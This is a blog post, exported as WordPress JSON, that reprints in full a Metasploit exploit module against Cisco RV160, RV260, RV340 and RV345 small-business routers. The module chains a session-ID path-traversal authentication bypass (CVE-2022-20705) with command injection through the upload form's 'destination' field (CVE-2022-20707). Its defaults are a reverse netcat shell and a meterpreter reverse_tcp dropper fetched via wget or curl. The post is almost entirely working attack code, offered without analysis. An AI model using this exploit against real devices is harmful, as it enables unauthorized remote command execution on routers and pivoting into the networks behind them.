##
\n# This module requires Metasploit: https:\/\/metasploit.com\/download
\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
\n##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
\nRank = ExcellentRanking<\/p>\n
prepend Msf::Exploit::Remote::AutoCheck
\ninclude Msf::Exploit::Remote::HttpClient
\ninclude Msf::Exploit::CmdStager
\ninclude Msf::Exploit::FileDropper<\/p>\n
def initialize(info = {})
\nsuper(
\nupdate_info(
\ninfo,
\n‘Name’ => ‘Cisco RV Series Authentication Bypass and Command Injection’,
\n‘Description’ => %q{
\nThis module exploits two vulnerabilities, a session ID directory traversal authentication
\nbypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,
\nand RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.
\nThis access can then be used to pivot to other parts of the network. This module works on firmware
\nversions 1.0.03.24 and below.
\n},
\n‘License’ => MSF_LICENSE,
\n‘Platform’ => [‘linux’, ‘unix’],
\n‘Author’ => [
\n‘Biem Pham’, # Vulnerability Discoveries
\n‘Neterum’, # Metasploit Module
\n‘jbaines-r7’ # Inspired from cisco_rv_series_authbypass_and_rce.rb
\n],
\n‘DisclosureDate’ => ‘2021-11-02’,
\n‘Arch’ => [ARCH_CMD, ARCH_ARMLE],
\n‘References’ => [
\n[‘CVE’, ‘2022-20705’], # Authentication Bypass
\n[‘CVE’, ‘2022-20707’], # Command Injection
\n[‘ZDI’, ’22-410′], # Authentication Bypass
\n[‘ZDI’, ’22-411′] # Command Injection
\n],
\n‘Targets’ => [
\n[
\n‘Unix Command’,
\n{
\n‘Platform’ => ‘unix’,
\n‘Arch’ => ARCH_CMD,
\n‘Type’ => :unix_cmd,
\n‘Payload’ => {
\n‘BadChars’ => ‘\\’#’
\n},
\n‘DefaultOptions’ => {
\n‘PAYLOAD’ => ‘cmd\/unix\/reverse_netcat’
\n}
\n}
\n],
\n[
\n‘Linux Dropper’,
\n{
\n‘Platform’ => ‘linux’,
\n‘Arch’ => [ARCH_ARMLE],
\n‘Type’ => :linux_dropper,
\n‘Payload’ => {
\n‘BadChars’ => ‘\\’#’
\n},
\n‘CmdStagerFlavor’ => [ ‘wget’, ‘curl’ ],
\n‘DefaultOptions’ => {
\n‘PAYLOAD’ => ‘linux\/armle\/meterpreter\/reverse_tcp’
\n}
\n}
\n]\n],
\n‘DefaultTarget’ => 0,
\n‘DefaultOptions’ => {
\n‘RPORT’ => 443,
\n‘SSL’ => true,
\n‘MeterpreterTryToFork’ => true
\n},
\n‘Notes’ => {
\n‘Stability’ => [CRASH_SAFE],
\n‘Reliability’ => [REPEATABLE_SESSION],
\n‘SideEffects’ => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}
\n)
\n)
\nregister_options(
\n[
\nOptString.new(‘TARGETURI’, [true, ‘Base path’, ‘\/’])
\n]\n)
\nend<\/p>\n
# sessionid utilized later needs to be set to length
\n# of 16 or exploit will fail. Tested with lengths
\n# 14-17
\ndef generate_session_id
\nreturn Rex::Text.rand_text_alphanumeric(16)
\nend<\/p>\n
def check
\nres = send_request_cgi({
\n‘method’ => ‘GET’,
\n‘uri’ => ‘\/upload’,
\n‘headers’ => {
\n‘Cookie’ => ‘sessionid =..\/..\/www\/index.html; sessionid=’ + generate_session_id
\n}
\n}, 10)<\/p>\n
# A proper “upload” will trigger file creation. So the send_request_cgi call
\n# above is an incorrect “upload” call to avoid creating a file on disk. The router will return
\n# status code 405 Not Allowed if authentication has been bypassed by the above request.
\n# The firmware containing this authentication bypass also contains the command injection
\n# vulnerability that will be abused during actual exploitation. Non-vulnerable
\n# firmware versions will respond with 403 Forbidden.
\nif res.nil?
\nreturn CheckCode::Unknown(‘The device did not respond to request packet.’)
\nelsif res.code == 405
\nreturn CheckCode::Appears(‘The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.’)
\nelsif res.code == 403
\nreturn CheckCode::Safe(‘The device is not vulnerable to exploitation.’)
\nelse # Catch-all
\nreturn CheckCode::Unknown(‘The target responded in an unexpected way. Exploitation is unlikely.’)
\nend
\nend<\/p>\n
def execute_command(cmd, _opts = {})
\nres = send_exploit(cmd)<\/p>\n
# Successful unix_cmd shells should not produce a response.
\n# However if a response is returned, check the status code and return
\n# Failure::NotVulnerable if it is 403 Forbidden.
\nif target[‘Type’] == :unix_cmd && res&.code == 403
\nfail_with(Failure::NotVulnerable, ‘The target responded with 403 Forbidden and is not vulnerable’)
\nend<\/p>\n
if target[‘Type’] == :linux_dropper
\nfail_with(Failure::Unreachable, ‘The target did not respond’) unless res
\nfail_with(Failure::UnexpectedReply, ‘The target did not respond with a 200 OK’) unless res&.code == 200
\nbegin
\nbody_json = res.get_json_document
\nfail_with(Failure::UnexpectedReply, ‘The target did not respond with a JSON body’) unless body_json
\nrescue JSON::ParserError => e
\nprint_error(“Failed: #{e.class} – #{e.message}”)
\nfail_with(Failure::UnexpectedReply, ‘Failed to parse the response returned from the server! Its possible the response may not be JSON!’)
\nend
\nend<\/p>\n
print_good(‘Exploit successfully executed.’)
\nend<\/p>\n
def send_exploit(cmd)
\nfilename = Rex::Text.rand_text_alphanumeric(5..12)
\nfileparam = Rex::Text.rand_text_alphanumeric(5..12)
\ninput = Rex::Text.rand_text_alphanumeric(5..12)<\/p>\n
# sessionid utilized later needs to be set to length
\n# of 16 or exploit will fail. Tested with lengths
\n# 14-17
\nsessionid = Rex::Text.rand_text_alphanumeric(16)<\/p>\n
filepath = ‘\/tmp\/upload.input’ # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
\npathparam = ‘Configuration’<\/p>\n
destination = “‘; ” + cmd + ‘ #’<\/p>\n
multipart_form = Rex::MIME::Message.new
\nmultipart_form.add_part(filepath, nil, nil, ‘form-data; name=”file.path”‘)
\nmultipart_form.add_part(filename, nil, nil, ‘form-data; name=”filename”‘)
\nmultipart_form.add_part(pathparam, nil, nil, ‘form-data; name=”pathparam”‘)
\nmultipart_form.add_part(fileparam, nil, nil, ‘form-data; name=”fileparam”‘)
\nmultipart_form.add_part(destination, nil, nil, ‘form-data; name=”destination”‘)
\nmultipart_form.add_part(input, ‘application\/octet-stream’, nil, format(‘form-data; name=”input”; filename=”%<filename>s”‘, filename: filename))<\/p>\n
# Escaping “\/tmp\/upload\/” folder that does not contain any other permanent files
\nsend_request_cgi({
\n‘method’ => ‘POST’,
\n‘uri’ => ‘\/upload’,
\n‘ctype’ => “multipart\/form-data; boundary=#{multipart_form.bound}”,
\n‘headers’ => {
\n‘Cookie’ => ‘sessionid =..\/..\/www\/index.html; sessionid=’ + sessionid
\n},
\n‘data’ => multipart_form.to_s
\n}, 10)
\nend<\/p>\n
def exploit
\nprint_status(“Executing #{target.name} for #{datastore[‘PAYLOAD’]}”)
\ncase target[‘Type’]\nwhen :unix_cmd
\nexecute_command(payload.encoded)
\nwhen :linux_dropper
\nexecute_cmdstager(linemax: 120)
\nend
\nend
\nend<\/p>\n","protected":false},"excerpt":{"rendered":"
## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, ‘Name’ => ‘Cisco RV Series Authentication Bypass and Command Injection’, ‘Description’ => %q{ This module exploits two vulnerabilities, a session ID …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-37580","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/37580","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=37580"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/37580\/revisions"}],"predecessor-version":[{"id":37602,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/37580\/revisions\/37602"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=37580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=37580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=37580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}